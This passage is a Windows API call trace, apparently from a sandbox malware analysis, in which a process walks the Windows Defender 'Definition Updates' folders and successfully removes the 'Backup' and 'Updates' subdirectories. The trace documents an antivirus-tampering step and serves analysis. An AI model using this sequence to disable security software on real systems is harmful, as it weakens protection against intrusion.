lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender", lpFilePart=0x0) returned 0x29 [0277.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df78) returned 1 [0277.923] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender" (normalized: "c:\\programdata\\microsoft\\windows defender"), fInfoLevelId=0x0, lpFileInformation=0x28d0e18 | out: lpFileInformation=0x28d0e18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a4bec96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a4bec96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0277.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7df28) returned 1 [0277.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e1b8) returned 1 [0277.925] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0277.925] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x2a, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender", lpFilePart=0x0) returned 0x29 [0277.925] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a4bec96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a4bec96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08560 [0277.929] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7e060 | out: lpFindFileData=0x1bb7e060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a4bec96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a4bec96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.929] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7e060 | out: lpFindFileData=0x1bb7e060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1 [0277.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e138) returned 1 [0277.930] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0277.930] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", nBufferLength=0x3d, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", lpFilePart=0x0) returned 0x3c [0277.930] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0277.931] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.931] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1 [0277.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0277.931] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0277.931] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup", nBufferLength=0x44, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup", lpFilePart=0x0) returned 0x43 [0277.932] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x1bb7de60 | out: lpFindFileData=0x1bb7de60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0277.932] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.932] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.933] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0277.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0277.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0a8) returned 1 [0277.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0277.957] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0277.957] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup", nBufferLength=0x44, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup", lpFilePart=0x0) returned 0x43 [0277.957] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x1bb7de60 | out: lpFindFileData=0x1bb7de60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0277.958] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.958] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.958] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0277.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0277.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0a8) returned 1 [0277.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e088) returned 1 [0277.958] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0277.958] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup", nBufferLength=0x44, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup", lpFilePart=0x0) returned 0x43 [0277.959] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x1bb7de30 | out: lpFindFileData=0x1bb7de30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0277.959] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7ded0 | out: lpFindFileData=0x1bb7ded0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.959] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7ded0 | out: lpFindFileData=0x1bb7ded0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.959] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0277.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ddf8) returned 1 [0277.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0277.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db88) returned 1 [0277.960] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\backup"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e110 | out: lpFileInformation=0x1bb7e110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0277.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db38) returned 1 [0277.961] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\backup")) returned 1 [0277.962] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1 [0277.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0277.962] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0277.962] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates", nBufferLength=0x45, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates", lpFilePart=0x0) returned 0x44 [0277.963] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x1bb7de60 | out: lpFindFileData=0x1bb7de60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0277.963] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.963] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.963] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0277.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0277.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0a8) returned 1 [0277.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0277.964] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0277.964] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates", nBufferLength=0x45, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates", lpFilePart=0x0) returned 0x44 [0277.964] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x1bb7de60 | out: lpFindFileData=0x1bb7de60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0277.964] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.964] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.964] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0277.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0277.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0a8) returned 1 [0277.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e088) returned 1 [0277.965] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0277.965] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates", nBufferLength=0x45, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates", lpFilePart=0x0) returned 0x44 [0277.965] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x1bb7de30 | out: lpFindFileData=0x1bb7de30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0277.965] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7ded0 | out: lpFindFileData=0x1bb7ded0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.966] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7ded0 | out: lpFindFileData=0x1bb7ded0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.966] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0277.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ddf8) returned 1 [0277.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0277.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db88) returned 1 [0277.966] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\updates"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e110 | out: lpFileInformation=0x1bb7e110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0277.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db38) returned 1 [0277.966] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\updates")) returned 1 [0277.966] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 1 [0277.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0277.967] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0277.967] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", nBufferLength=0x64, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpFilePart=0x0) returned 0x63 [0277.967] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x1bb7de60 | out: lpFindFileData=0x1bb7de60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0277.968] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.968] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fd91f9, ftCreationTime.dwHighDateTime=0x1cb892c, 